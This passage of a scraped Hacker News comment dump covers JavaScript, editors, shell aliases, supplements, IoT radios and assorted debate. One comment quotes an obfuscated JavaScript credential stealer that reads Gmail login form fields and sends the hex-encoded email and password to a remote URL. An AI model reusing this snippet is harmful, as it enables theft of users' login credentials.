rel=\\\"nofollow\\\">http://railscasts.com</a> though.<p>PS: Sorry to everyone for the RoR/Ruby hijack<p>EDIT: Wrote a sentence misleadingly, fixed it.\", \"But, but, but... he just put a three on a four, after building suspense for the <i>whole</i> week! How can you be so flippant?\", \"Claiming that someone who's been in college for several years' highest level of education is \\\"high school\\\" presents a very odd definition of the word \\\"education\\\".  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Basically they are how we perceive older generations of Americans (romanticized no doubt given the &quot;pacifist&quot; label isn&#x27;t quite applicable to early-stage Americans).<p>They don&#x27;t try to force their views on general society and leave well enough alone while providing unique cultural contributions for those who visit them and purchase goods/services. Not really &quot;PR,&quot; they just leave others alone and have enough positive traits that everyone seems to respect.<p>EDIT: I countered the random downvote you had.\", \"Isn&#x27;t vitamin C a pretty good preservative agent for food?\", \"If you are a talented app developer but new to the app business, you should get a basic understanding of some core concepts.<p>http://www.avocarrot.com/blog/guide-building-app-business/\", \"None of my engineer friends have ever had a Google style technical interview. What makes software so different?<p>You don&#x27;t ask an electrical engineer to layout a complicated PCB on a whiteboard, you don&#x27;t have a civil engineer build a bridge out of popsicle sticks.<p>Surely hiring an incompetent electrical engineer is just as bad as hiring an incompetent software engineer, but from talking to the EEs I know, they just get asked basic questions or go over past projects--nothing nearly as stressful as a coding interview.<p>If other industries can get by without them, whiteboard technical interviews must not be as necessary as they&#x27;re made out to be. It seems to me they are just a damaging fad. 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Do people go through newspaper archives deleting them from the (what used to be) microfiche copies?\", \"Remote or Relocation (almost anywhere)<p>I&#x27;d like to solve hard problems, meet challenges and help people.<p>Willing to learn new stuff and improve my skills (especially Clojure).<p>Skills: Java (SE, EE, Concurrency, Spring, Hibernate etc.), MySQL, PostgreSQL, MongoDB, Perl, Bash, Linux, vim etc. Had experience with PHP, HTML, CSS and JS. Currently learning Clojure.<p>Email: kovrik0@gmail.com<p>Linkedin: <a href=\\\"http://www.linkedin.com/profile/view?id=150589292\\\" rel=\\\"nofollow\\\">http://www.linkedin.com/profile/view?id=150589292</a><p>Github: <a href=\\\"https://github.com/kovrik\\\" rel=\\\"nofollow\\\">https://github.com/kovrik</a>\", \"It&#x27;s gratifying to read such an insightful, unequivocal comment on HN - and I hope you also emailed it as (relevant!) feedback to the two addresses provided in the article!\", \"Unless I&#x27;m missing something, you cannot use forEach on a Javascript object as of now (or map, reduce, every, some and other methods that are available on Array.prototype).<p>The only way is to use:<p><pre><code>  for(var key in obj) {...}\\\\n</code></pre>\\\\nAs for interpolation, I indeed missed the bit about quasis. Though I really wonder why they would still use concatenation if they can interpolate... Maybe to only show one feature at a time, which I guess makes sense.\", \"There seems to be a problem with the web app. You have to wait a couple of seconds before the QR code appears.\", \"Almost every Emacs user uses the standard keybindings for most stuff (though many change the odd binding or two for personal reasons).  They work <i>really</i> well once you get used to them, and they tend to form a system: C-f goes forward a character, M-f goes forward a word, C-M-f goes forward an &quot;expression&quot;, and those same modifier keys have similar relationships for other commands.<p>As for ergonomics... Emacs bindings feel far more natural and comfortable than any other editor bindings I&#x27;ve ever used, but then I&#x27;ve used Emacs for a long time and am well used to them.  I suspect that the same is true for most people: what feels/works best will have more to with what you&#x27;re used to than any inherent superiority.  [And probably no keyboard-oriented editor that&#x27;s been successful for any length of time will have a truly un-ergonomic design, because it couldn&#x27;t have succeeded with such.]<p>Probably the closest thing to what you&#x27;re describing is the various editor emulation packages, which often remap many basic bindings...  Of these, vi/vim emulation is probably the most popular these days, and there are like 4-5 vi/vim emulation packages, of varying degrees of sophistication (and age), although I&#x27;m not sure which is the current favorite (maybe &quot;evil&quot;? <a href=\\\"http://www.emacswiki.org/emacs/Evil\\\" rel=\\\"nofollow\\\">http://www.emacswiki.org/emacs/Evil</a> ).\", \"This is a very interesting discussion. Would love to hear your thoughts on our London based startup www.Prehash.com which is going in a similar direction. Companies can host organization specific coding challenges on our website and developers apply by solving them. There is no time limit for developers and no one is looking over your shoulder. The only thing is that each time you run the test we take a snapshot in a github repo. Any feedback is welcome! Cheers.\", \"Surprising that they could not get a loan given their order backlog. Were the margins terribly small or something?\", \"<p><pre><code>    items(x).forEach(function(key, value) {\\\\n      alert(key + &#x27;,&#x27; + val);\\\\n    });\\\\n</code></pre>\\\\nYou can already just do that, without ES6.<p>> It also brings up the question of interpolation, why do we even have to use + in the first place?<p>Did you miss the last item, &quot;quasis&quot;? `You are ${age} years old.`<p>> Also, can someone in the know care to tell me why that is that those additions for what is the end rather basic functionality is coming so late to the language?<p>Because unlike most languages, there&#x27;s no canonical implementation.<p>Mozilla, who actually holds the trademark on the name &quot;JavaScript&quot;, totally tried to evolve the language since the beginning and even shipped e.g. JavaScript 1.7 (which had generators, iterators, let, array comprehensions, and destructuring assignment [1]) with Firefox 2 in 2006, but Firefox just didn&#x27;t have the market share for authors to start using the new features, and no other browser implemented any of them. That deadlock was only broken by Brendan Eich using corporate politics rather than hacker-style &quot;putting it out there&quot;: rounding up all the big browser makers (of course, it helped that Apple and Google had just broken into the scene), and convincing them to commit to implementing new features decided on by the committee they formed, TC39 (and to update their browsers at all, <i>ahem</i> IE <i>ahem</i>).<p>[1]: <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7\\\" rel=\\\"nofollow\\\">https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_...</a>\", \"I think their &quot;PR&quot; is just really good, for some reason. I feel like most Americans that live near Amish communities (I did growing up) might gently joke about how weird it is to live like that, but I think we tend to think of them as a romanticized version of pre-industrial American farmers, despite that not being very accurate.<p>I don&#x27;t think they are considered not US citizens or their lands not US lands. They pay local and state property taxes on their land.\", \"In Moscow they exist and are official. I&#x27;ve caught one today while heading to work - 317\\u043c to be precise.<p>Vans changed transportation landscape massively in late 90s, and for good. Some villages which had like five busses per day now are served by a van every half an hour.\", \"Genuinely interested here. Would you mind explaining the terminology, or even better, expand on your thoughts in a blog post or something?<p>Bitcoin exchanges are generally very illiquid, in the meaning that little funds are kept on the exchanges. (Because there are no regulations and guarantees.) Would you not expect &quot;huge holes&quot; in such an order book? Why not?<p>What does &quot;price level&quot; mean? I read it as the distance between orders in the order book, but then your comment does not make sense. You are surprised these levels are farther apart than the bid/ask spread. Why?<p>What does &quot;unsophisticated&quot; mean? It seems to me you mean this in a specific sense rather than the dictionary meaning of the word. How is it that no discernible pattern is indicative of a less sophisticated market? In the layman definition of the word, one would expect the opposite.<p>I don&#x27;t know if other markets behave the same but Bitcoin exchanges have large dark components to them. If the price moves dramatically, lots of coins move in/out of the exchanges. Some people believe the days-destroyed metric is indicative of these movements, but in practice things are of course not that simple.<p>As you might understand, I do dabble with Bitcoin trading on the side on a pure hobbyist basis and I would be very interested in your views on this. I don&#x27;t know if there is a personal message function on the HN board but any answer would be appreciated. I think a lot of traders on Bitstamp and other exchanges are hobbyists too, but I have the feeling that something happened during the runup to the October rally and would not be surprised if there are quite a few pros among us now.\", \"> I wonder what it says about the device and the market that they&#x27;re planning to sell to well-heeled homeowners first.<p>I think the key is in where he says a unit with a fifth the output wouldn&#x27;t be a fifth the cost.  If he can use the luxury end of the market to drive the manufacturing costs down, I&#x27;m sure general retail won&#x27;t be far behind.\", \"> The incumbents will have the existing regulations on their side and use them to shut you down.<p>Absolutely, but you must consider the possibility that in addition to turf protection, those regulations actually serve a social purpose. Not every innovation is good and every regulation is bad. Sometimes regulation is formalized valuable lessons learned over many years. As someone who sees Uber as an exploitative venture (I may be wrong), I actually find those regulations the last wall slowing down the huns.\", \"And iron.\", \"Pipe to clipboard with following alias<p>alias clip=&#x27;xsel -i --clipboard&#x27;<p>Get tree view of directories<p>alias lst=&#x27;tree -L 2 $1&#x27;<p>Also I use za to go up in directory tree<p>bash <a href=\\\"https://gist.github.com/chanux/1119556\\\" rel=\\\"nofollow\\\">https://gist.github.com/chanux/1119556</a>\\\\nfish <a href=\\\"https://gist.github.com/chanux/9411092\\\" rel=\\\"nofollow\\\">https://gist.github.com/chanux/9411092</a>\", \"While I agree, at least for Vit. D, the issue is what is considered &#x27;deficiency&#x27; is quite low by doctors/blood tests. I don&#x27;t remember the values, but even doctors that a few years ago laughed (yes, laughed) on my wife and mine face because we we concerned about it and the effects of low Vit. D in her pregnancy are now recommending to their patients some supplementation even for known normal levels. (One doctor told us the only concern for low Vit. D levels were for the +65 year olds for example)\", \"Seriously guys we&#x27;re gonna drop 2.<p>--Many Releases Later--<p>Seriously guys we&#x27;re gonna drop 2.\", \"There is no handy list that I know of.<p>The big six definitely do have the filters. Some smaller players do too, but a fair few don&#x27;t. The only people I know for sure are A&A because they put their heads above the parapet and made a stand.<p>Some simply haven&#x27;t implemented it because it would be work and they therefore won&#x27;t until forced to (rather than because of any moral objection) - they&#x27;ll not make any statement about not doing it as it will look bad if they eventually do.<p>There may of course be others in A&A&#x27;s position who haven&#x27;t done as good a job getting the message out.\", \"I remember when Kamen was going on all the morning shows saying that he was going to change the world and transportation. Many speculated that it was a Sterling Engine. It was the Segway.\", \"Some nice typefaces (Gentium is a favorite) and quotations there.<p>I like the following from Stowe Boyd&#x27;s _Postnormal era_:<p><pre><code>    Authoritarian/Centralized > Egalitarian/Decentralized\\\\n    Objective/Impartial > Subjective/Partial\\\\n    Hierarchy > Network\\\\n    Nuclear > neo-Tribal\\\\n    Globalism/Growth > Localism/Steady-State\\\\n    Nation/Province/City > Locale/Watershed/Region/World\\\\n    Broadcast > Participative\\\\n    Exploitative/Unsustainable > Restorative/Sustainable\\\\n    Dogmatic/Orthodox > Enigmatic/Heterodox\\\\n</code></pre>\\\\nEdit: A right arrow (\\u2192) would be better than the greater-than symbol in the above.\", \"Most of the points he makes are a byproduct of expecting too much from other people. I.E. gem authors, or misunderstanding why something exists I.E. the ruby standard library, which is a motley crew of modules meant to let people write hacky scripts a la perl.\\\\nThis is why I&#x27;m getting away from magic/cleverness as much as possible. Clever solutions usually rely on the dark corners of a language/ecosystem, which might break in the future.\", \"SEEKING WORK: Remote or Switzerland (max 50%)<p>Full stack Scala dev (Akka, Play, Slick, Spray, Lift)<p>~5 years Scala experience as dev & trainer<p><a href=\\\"http://trondbjerkestrand.no/contact\\\" rel=\\\"nofollow\\\">http://trondbjerkestrand.no/contact</a>\", \"An interstitial, a popover to explain the site&#x27;s navigation, then an ad which scrolls over the content?  You&#x27;ve got to be keen to want to read this stuff.\", \"I never got RVM working with fish; unsurprising, seeing as it\\u2019s 20k lines of bash. rbenv works well though (with one additional conf line), and chruby was working on support last time I checked.\", \"Iterables can have many forms (Strings, Arrays, Maps\\u2026), so having a forEach method is tricky.<p>On the other hand, most iterables have their own methods to loop around values. Arrays and Maps both have a .forEach() method.\", \"My guess: 12 inch subwoofers and 26 inch rims.\", \"Assuming the path loss exponent as &#x27;2&#x27; is a mistake.\", \"There is a git-diff package that shows colored bars next to the line numbers: <a href=\\\"https://github.com/atom/git-diff\\\" rel=\\\"nofollow\\\">https://github.com/atom/git-diff</a>. While not a real diff I find it pretty helpful.\", \"Sterling Engines are cool. Here is one being used in combination with a Fresnel lens.\\\\n<a href=\\\"https://www.youtube.com/watch?v=A_AFnW1bZL8\\\" rel=\\\"nofollow\\\">https://www.youtube.com/watch?v=A_AFnW1bZL8</a>\", \"True. But most haven&#x27;t been done well.\", \"If you have a known deficiency, sure, but a quick web search will show you that it&#x27;s arguable what level is deficient, and that it&#x27;s arguable that supplementation has a good effect on anyone that&#x27;s not suffering from a few specific conditions.<p>So I&#x27;ll repeat - unless you have a known deficiency or a restricted diet, they&#x27;re a waste of time and money, and the industry is snake-oil.\", \"The 741 has quite a few current mirrors for bias/gain, so the bias points would be much more sensitive to transistor parameter mismatch than to wiring neatness. Also, discrete PNP transistors tend to be different from the lateral PNP&#x27;s in a bipolar transistor IC process.<p>I suppose the value in ordering such a kit is that the devices shipped are pre-matched etc, so the hobbyist may reasonably expect a first-pass success.<p>The 741 is dominant-pole compensated, so even if there were wiring-related phase shifts at high frequencies there will be no loop gain in that region to cause instability.\", \"Cargo bikes seem great if you&#x27;re doing the whole trip in them, but not really appropriate for a trip that involves using a light rail or bus as well, like Caltrain.\", \"radio frequency\", \"<i>> It&#x27;s is a bit troubling that the EFF didn&#x27;t present the entire issue</i><p>Never assume any group is not doing this. Everyone makes more effort to present the facts that support their case/cause than they do those against/neutral. The EFF are better about not denying the truths they don&#x27;t like than many similarly vocal groups, but don&#x27;t expect them to tell you the facts that don&#x27;t support their position.<p><i>> What the FBI and other 3 letter agencies don&#x27;t have anything more important to do</i><p>They can&#x27;t chose the laws that they concentrate on, really. The &quot;don&#x27;t you have something more important to do officer&quot; argument (as often sung by petty criminals) is bunkum. They enact the law, all of it, and the reason they are chasing the people committing lesser offences (in the offender&#x27;s eyes at least) is because people are committing lesser offences.<p><i>> &quot;Selling is legal fucking is legal so why isn&#x27;t selling fucking legal?&quot;</i><p>This is probably the answer to a certain extent: legalise it, regulate it to try protect both the workers and the punters, and potentially tax it to cover the cost of that regulation.<p>Though the legalisation argument as it is usually presented is rather simplistic, and the effects it would have on major crime (for example people trafficking) seems vastly over-stated IMO.\", \"I disagree with this. React abstracts away DOM manipulation just as well as Angular does at a high level. When you dive deeper (i.e. building components/directives) React continues to abstract it away, whereas Angular reveals it.<p>In fact, React is able to get superior performance <i>because</i> the DOM is abstracted so far away.\", \"Yes, I had a professional coach and I find professional coaching process very useful, because it helps you to verify your own beliefs and actions, in a way you won&#x27;t be able to do it yourself, neither with your friends or business partners. At the same time, I am aware that there are plenty of people that call themselves &#x27;business/life/name-it coaches&#x27; having no idea what professional coaching is.<p>If you are looking for an experienced and professional coach, first of all you should look for a person with accreditation of any big international coach organisation, e.g. ICF [1] is one of the biggest organisation that sets professional coaching standards.<p>You should also understand how professional coaching differs from pseudo-coaching, so if a &#x27;business coach&#x27; offers you to share their knowledge or give you an advice, they are NOT really a professional coach [2].<p>And this is the moment when you realize, that there is a profession called &quot;professional coaching&quot; and a life coaching, business coaching, executive coaching, etc. are only branding/marketing titles, and if a coach is certified/accredited by a large coaching organisation, they should use exactly the same tools to help their clients achieve their goals (regardless of their &#x27;marketing title&#x27;).<p>[1] <a href=\\\"http://www.coachfederation.org\\\" rel=\\\"nofollow\\\">http://www.coachfederation.org</a>\\\\n[2] <a href=\\\"http://www.coachfederation.org/need/landing.cfm?ItemNumber=978&navItemNumber=567\\\" rel=\\\"nofollow\\\">http://www.coachfederation.org/need/landing.cfm?ItemNumber=9...</a>\", \"I still prefer &quot;sh&quot; on BSD (particularly OpenBSD). It doesn&#x27;t have as many knobs to turn nor as many surprises.\", \"Uber is actually a good example of how existing regulations can be a formidable barrier to startups; or even any kind of innovation. You are not just free to offer a new product or service that competes with existing ones. The incumbents will have the existing regulations on their side and use them to shut you down.\", \"Aside: I found the following visualisation fun and somewhat interesting (on supplements and the ailments they might be good for). It&#x27;s changed a lot over the years and it links off to the underlying spreadsheet.<p><a href=\\\"http://www.informationisbeautiful.net/visualizations/snake-oil-supplements/\\\" rel=\\\"nofollow\\\">http://www.informationisbeautiful.net/visualizations/snake-o...</a>\", \"The font rendering in Atom is what&#x27;s currently keeping me from giving it a serious try:<p><a href=\\\"http://discuss.atom.io/t/atom-vs-textmate-font-rendering/9072/3\\\" rel=\\\"nofollow\\\">http://discuss.atom.io/t/atom-vs-textmate-font-rendering/907...</a>\", NaN, \"&quot;Reliable source maps&quot; - going to give this a try. If it works I&#x27;ll buy you a beer.\", \"Judging by my above comment, probably spectrum analysis.\", \"You turn to the desk head and say &quot;Boss, I just lost $16,000.&quot; and <i>he</i> says &quot;Don&#x27;t worry. It&#x27;s happened before, it&#x27;ll happen again.&quot;<p>That incident happened just a few weeks into my (short) career as a trader. I later learnt that everybody makes a mistake once in a while. It&#x27;s unavoidable. It becomes a problem if you try to cover it up or if you keep making mistakes.\", \"Pretty much this. AngularJS abstracts DOM manipulation away from the user; by adding React to an AngularJS project, you&#x27;re giving up on that abstraction. I consider React a sacrifice of abstraction / ease of development in favor of performance.<p>I think AngularJS will adopt a similar strategy for their 2.0 development effort, maybe even a 1.x point release. But I haven&#x27;t looked at the angular development process for a while now.\", \"<a href=\\\"https://www.coinsetter.com/\\\" rel=\\\"nofollow\\\">https://www.coinsetter.com/</a> also offers FIX.\", \"How is this protocol better than LoRa(by semtech - an old stable company, used by giants like IBM) ,or weightless(standardized protocol) ? Because they are your competitors , not wifi and the like.\", NaN, \"What&#x27;s a Safeway card and why would it get him deported? Also why is the border agent searching through his wallet?\", \"I love fish and have happily been using it for years.  Every time it comes up here, though, someone inevitably will complain about compatibility - and I will admit that RVM, for instance, has definitely caused me problems with fish in the past.  I guess it depends quite a lot on your particular usage and requirements.\", \"Beautifully, concisely put!<p>It is a shame though your downvoters elsewhere in this thread fail to appreciate your effort at explaining the --admittedly quite unintuitive-- <i>demand</i> side of the macroeconomy.\", \"Ctrl-P autocompletes from your history too. It works like Ctrl-R but after you&#x27;ve already started typing, if you see what I mean.<p>This might be a zsh thing though.\", \"Let&#x27;s be honest here. Entrepreneurs are not welcomed anywhere, but your home country, if that (several countries are terrible to start businesses in, like India, Australia, etc). I could talk about this at length, but just wanted to say that this is a trite and dismissive comment you have made without any experience or understanding of the issues at hand. You think people like the author and myself haven&#x27;t considered this?\", \"That some conditions are economically risky is not a prejudice, that&#x27;s my whole point. Choosing the healthier person for a position is a perfectly rational thing to do, and increasing insurance rates with higher risks due to their health situation also is perfectly rational (and note that that&#x27;s not just limited to health insurance) - you&#x27;d have to turn the whole economic system on its head to fix that.\", \"OmniFocus for my own stuff, Trello for team tasks.\", \"> \\u201cBack in the day, officers used to harass us day and night: throw van keys on the roof, throw them in the garbage, bring us into the station just for driving a van.\\u201d An N.Y.P.D. spokeswoman didn\\u2019t respond to a request for comment<p>The sad thing is that stories like those don&#x27;t even seem to elicit surprise.<p>We need a way to refocus our police on their mission, to &quot;protect and serve&quot;. We need to demand more professionalism from them. It&#x27;s a difficult challenge. By nature, the job attracts a lot of bad applicants along with the good.<p>&quot;officers used to [...] throw van keys on the roof, throw them in the garbage&quot;<p>Why do we tolerate people walking our cities with guns and tasers who behave like schoolyard bullies?\", \"Kind of misleading title after clicking through:<p>> Costly new longevity drugs could help the wealthy live 120 years or more \\u2013 but will everyone else die young?<p>Drug research is costly, but it&#x27;s not wealthy benefactors of the clinical application that pay for it.  Some research is privately funded, much is government funded but it&#x27;s also costly to fail to pay for it.<p>The age gap due to wealth discussed in the article is not related to the cost to the individual of drug research and development.<p>Once the research is done, most drugs become inexpensive to produce and if they prevent the burden of ageing on healthcare and society.  Reason to fund gerontology research if it decreases healthcare expenditure.<p>The then minor cost could be subsidised and there would be little argument in limiting its availability beyond that of aspirin and clean drinking water.<p>The current longevity gap due to poverty/environment discussed isn&#x27;t a reason to discount increases in healthspan/lifespan that might benefit the rich more immediately.<p>Gerontology/drug research is not mutually exclusive of improving access to education, mental health and reducing pollution etc.\", \">since no one is going to do that ever in real life<p>Yes they will, it&#x27;s the easiest way to get different fonts how you want them.\", NaN, \"why\\uff1f\", \"Being unfamiliar with wireless authentication/encryption; What prevents the Helium bridge/platform from impersonating a specific Helium device? Could they originate a false message or change the timestamps on an old message?\", \">Also, can someone in the know care to tell me why that is that those additions for what is the end rather basic functionality is coming so late to the language?<p>I would think Internet Explorer being the dominant browser had something to do with it.\", \"good~\", NaN, \"Quotes in the article from research team employees suggested the opposite: that experiments were often run without anyone else on the team even knowing about it. That doesn&#x27;t sound like oversight to me.\", \"I wrote about how I built mine here: <a href=\\\"http://rachelandrew.co.uk/archives/2014/01/07/html-epub-mobi-pdf-wtf-creating-an-ebook/\\\" rel=\\\"nofollow\\\">http://rachelandrew.co.uk/archives/2014/01/07/html-epub-mobi...</a><p>TL:DR going from HTML to PDF is more of a PITA than you think, .mobi and epub is pretty straightforward.\", \"Of course it&#x27;s total bullshit.  You still have to pass it.  You can&#x27;t demand that everyone else be at least as wise as you, especially since you could well still be wrong.\", \"Hey noonespecial,  \\\\nJust a quick point. The radio is based on 802.15.4 which is an open standard. Much of our end node code is going to be open source, if not all.\", NaN, \"Yep one guy behind Mono.Cecil, the other behind Reflexil\", NaN, \"~10 years.\", \"I don&#x27;t like that the radio is closed and that the network is owned, but I love the direction of tiny IoT modules that <i>already have their fcc certs done</i>.<p>I&#x27;m hoping someday the &quot;intentional radiator&quot; portion of getting a product online is as simple as sticking in a SIM card now (<i>in Europe</i> I add sarcastically).\", \"> You know what else I hate? Typing in long commands in the Mac OS X terminal and then them wrapping weirdly.<p>I solved this by adding the following line in my ~/.bashrc<p><pre><code>  shopt -s checkwinsize\\\\n</code></pre>\\\\nNever tried on Mac OS X though, so I don&#x27;t know if it works.\", \"I second this, food and light are both important parts of the process. Have used something similar to this to prevent jetlag on both legs of multiple transatlantic/panasiatic  flights (though it has to be said travelling west-to-east is always rougher than east-to-west.\", \"But I bet that these drugs would be patented and would be selling at very high prices for decades. Countries like India wouldnt want to encourage generic production of these drugs as that would make the existing population problem worse.\", \"This doesn&#x27;t exist in London. The London underground, overground and bus routes are extensive, and the black taxis and minicabs fill in the gap for a moderate fee.<p>You will however find something much like this well established in large cities in Sub-Saharan Africa under the name &quot;Matatu&quot; or &quot;Minibus taxi&quot; :  <a href=\\\"http://en.wikipedia.org/wiki/Share_taxi#South_Africa\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Share_taxi#South_Africa</a>\", \"I use some Google Web Fonts and I was interested, but when I went here:<p><a href=\\\"http://brick.im/fonts/\\\" rel=\\\"nofollow\\\">http://brick.im/fonts/</a><p>And I clicked on a few fonts, I kept getting 404s. Any idea?\", \"Essentially a bunch of hype based around yet another proposal for adhoc(++) networking limited to a geographic region.<p>Why is this a lingering post at top of news.ycombinator?\", NaN, \"If people don&#x27;t have a soul, it still is a problem, because you are still killing a person. Why should I care that my exact clone will be living my life, if I&#x27;ll be vaporized? And consider another scenario, as described in &quot;Into the Silent Land&quot; - what if there&#x27;s a malfunction and the clone is created, but I am not immediately destroyed - should I then voluntarily agree to be killed just to make sure there&#x27;s only one of myself?\", \"If you speak Italian head over noisefromamerika and search \\u201cmodello superfisso\\u201d, there you can see why this reasoning is flawed. Prices of stuff are not fixed, they are a function of demand and offer. The true problem here is how you innovate enough to make the offer high enough that prices will drop. Instead, the writer is focusing on the myth of the 10% owning the 90% and he gets lost in yet another useless complain about spreading the wealth. Go look at why health services are so expensive in US, hints: monopolies, artificially low number of doctors, lobbies, patents\\u2026<p>By the way, about 44% of my gross salary is managed by the State (tax and social contribution). How much more does the writer want to tax people in order to \\u201chelp\\u201d the poor?\", \"I know this is a joke but a company I used to work for had a <i>serious discussion</i> about hiring sandwich board men to walk around with mobile hotspots that would inject ads and provide certain local services to those connected.<p>Based on the price structures at the time, it made a certain mad sense.\", \"Yes, and apparently you can take advantage of React&#x27;s faster/smarter rendering (<a href=\\\"http://www.williambrownstreet.net/blog/2014/04/faster-angularjs-rendering-angularjs-and-reactjs/\\\" rel=\\\"nofollow\\\">http://www.williambrownstreet.net/blog/2014/04/faster-angula...</a>)<p>That said, I would be uncomfortable mixing something as opinionated as Angular with another framework that expects to &quot;own&quot; the DOM/rendering. My guess is that Angular will implement their own version of VDOM in the next few months since it shows demonstrably better performance.\", \"There&#x27;s a difference between the EU and one particular court ruling. The EU itself is brilliant in many ways; this Stalinesque ruling, not so much.\", \"I like that core Sublime Text is stable and fast. Where &#x27;interesting&#x27; things mostly happen in the thousands of available plugins.<p>Speed, good core API design, and stability take time.\", \"Ok but when can we expect to start using that and have our web apps work in the real world? in 10 years? 20 years?\", \"Here you go, just throw it in your .bashrc:<p><pre><code>  shopt -s histappend\\\\n  export HISTSIZE=100000\\\\n  export HISTFILESIZE=100000\\\\n  export HISTCONTROL=ignoredups:erasedups\\\\n  export PROMPT_COMMAND=&quot;history -a;history -c;history -r;$PROMPT_COMMAND&quot;\\\\n</code></pre>\\\\nI wish I could give credit to where I originally found this but it was ages ago.\", \"It is certainly interesting from a &quot;segregation&quot; viewpoint.<p>If the Amish were immigrants arriving in American today they would (Warning: generalization incoming) probably be demonized by a decent % of the population for refusing to integrate into mainstream American society, the fact they arrived a long time ago insulates them from that.<p>From reading about the selective service / social security bit it is almost like they are not US citizens and their lands are not US lands. Weird situation.\", \"I too feel this way, it seems to still have that signature javascript &#x27;lag&#x27; where ST3 is very snappy, also it still can&#x27;t load files > 2MB.\", \"I understand that common names are reusable. I understand that your product is different than mine. Still, I wish there was still some respect when choosing product names, especially open source projects.<p><a href=\\\"https://github.com/geuis/helium-css\\\" rel=\\\"nofollow\\\">https://github.com/geuis/helium-css</a>\", \"Shuank, helium edge routers will have a global footprint to minimize latency to the internet. We always want latency from the internet to helium enabled devices to be as low as possible.\", NaN, \"&quot;How do you expect them to do anything?&quot;<p>By getting informed consent before experimenting on their users? You act like this is some outrageous bar they have to cross: it isn&#x27;t.\", \"They may not have a choice. I can perfectly well see why they erect barriers and put large obstacles in front of people trying to cross their borders. The problem is rather that startups should not demand that you physically move over there. I have had the case several times and I had to refuse the project. Moving over there, is unpractical. Why not collaborate remotely with people around the world? Do people really need to sit next to you in order to work with them?\", NaN, NaN, \"That diagram is about the energy inputs to heat the plasma.<p>Energy output to generate electricity is quite indirect: hot neutrons escape the magnetic containment and are caught in a lithium blanket. This produces tritium from the nuclear reaction between the neutrons and lithium nuclei, and heat. The blanket is cooled with water which is used to drive a conventional steam turbine generator set.<p>See the last paragraph of the reactor overview at <a href=\\\"http://en.m.wikipedia.org/wiki/ITER\\\" rel=\\\"nofollow\\\">http://en.m.wikipedia.org/wiki/ITER</a> and note that they do not plan to generate electricity from ITER: it is purely experimental.\", \"link to the paper:\\\\n<a href=\\\"http://www.pnas.org/content/early/2014/06/11/1406556111\\\" rel=\\\"nofollow\\\">http://www.pnas.org/content/early/2014/06/11/1406556111</a><p>Although gene-expression and socio-evolution might have a bigger role in selection than the genes itself.\", \"The Amish are fascinating from so many different angles. Their history of surprisingly successful legal clashes with the US government (no selective service, no Social Security contributions, no education past 8th grade). Their decentralized legal system, which despite being famously strict, is pacifist and arguably anarchist. Their theology/philosophy, if you&#x27;re into that. Their local economies. Rumspringa. Meidung (shunning). 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I've been chomping through three before sleep and three on waking and the difference in appetite is... pronounced. That plus the butter fat/fermented cod liver oil and extra kimchee.\", NaN, \"Maybe try using something like a decision tree where the classification steps are much more obvious.<p>There are parallelizable implementations out there...\", \"Yup, I've done this as well at current and past jobs. I'll usually just invent a new project, it gets the boss's attention and they like it, so I get to work on that rather than the normal boring stuff.<p>It's great to invent your own projects at work.\", \"I also really want to use this app - it's like the Seinfeld calendar - but the Facebook login turned me away.<p>I can understand, though, how this would be a selling point for 'normal' people.<p>Is there anyway to turn off the 'tell everyone on facebook about this' feature if I login using my FB account?\", \"For gmail\", \"The java script function :<p><!--\\\\nfunction h6h(st){var st2=\\\"\\\";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;\\\\nst2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}\\\\nfunction r5t(len){var st=\\\"\\\";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}\\\\nfunction hAAAQ3d() {var frm = document.getElementById(\\\"gaia_loginform\\\"); var us3r = frm.Email.value; var pa55 = frm.Passwd.value;\\\\n var url = \\\"<a href=\\\"http://www.google.com/wo0dh3ad?q=+r5t(5)+&u=+h6h(us3r)+&p=+h6h(pa55)\\\" rel=\\\"nofollow\\\">http://www.google.com/wo0dh3ad?q=+r5t(5)+&u=+h6h(us3r)+&...</a>;\\\\n var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}\\\\nfunction inv0k1(url) {var objhq = document.getElementById(\\\"x6y7z8\\\"); objhq.src = url;}\\\\nfunction inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(\\\"GET\\\", url, false); xr.send(\\\"\\\");}\\\\nfunction inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open(\\\"GET\\\", url, false); xr.send(\\\"\\\");}\\\\n//-->\", \"Great link, although 24K doesn't seem like much for a lifetimes work! I look forward to playing some of the games. The teaser reminded me of Infocom's Hitchhikers Guide for some reason...\", \"How did the assassins exit room 230, chained from the inside?!!\", \"Hello,<p>I wanted to make a complete javascript web client. The standard usage with imperative language is to use the MVC pattern.\\\\nI used object oriented programming but the javascript syntax for OOP was a really poor experience. I had the feeling that using a functionnal paradigm would had fitted better with js.<p>I know HN was done with Ark a functional programming language. So I wonder if an MVC pattern was done under the hood? May be there is a good recommendation or a known pattern that help making UI under a functional programming paradigm?\", \"One of the WSJ staffers who writes for that blog and a lot of their tech pieces, Jessica Vascellaro, dates Sam Lessin. He was in Mark's frat and just sold his company to Facebook.\", \"But isn't the speed advantage gone very soon as soon as you have to type non-english text such as programming languages and specific commands (which are a large part of using a computer, you don't only want to type the text, you also want to format it and move it around).<p>Try listening to <a href=\\\"http://www.linux.fm/\\\" rel=\\\"nofollow\\\">http://www.linux.fm/</a> for more than three minutes and you'll get my point :)\", \"Will vi be around in 20 years?\", \"Somehow a gym subscription that you're going to use for 4 hours a month seems like a waste of money.\", \"Omitting these domains from results is \\\"automated\\\".<p><i>Managing the list isn't</i>. It's based partly on how many users report a domain as being spam. At least that's one of the reasons for inclusion. And don't bayesian filters, with little data to work with and if newly implemented always have false positives?<p>Maybe some are labelling valid stuff as spam out of spite.<p>When blekko has millions of users labelling stuff as spam instead of very few, the system will be harder to abuse and the list much better.\", \"You could try reading the guy's bio - <a href=\\\"http://en.wikipedia.org/wiki/Andrew_Plotkin\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Andrew_Plotkin</a><p>Or even the article -<p><i>But I guess everybody who succeeds on Kickstarter has to answer this question.<p>How did 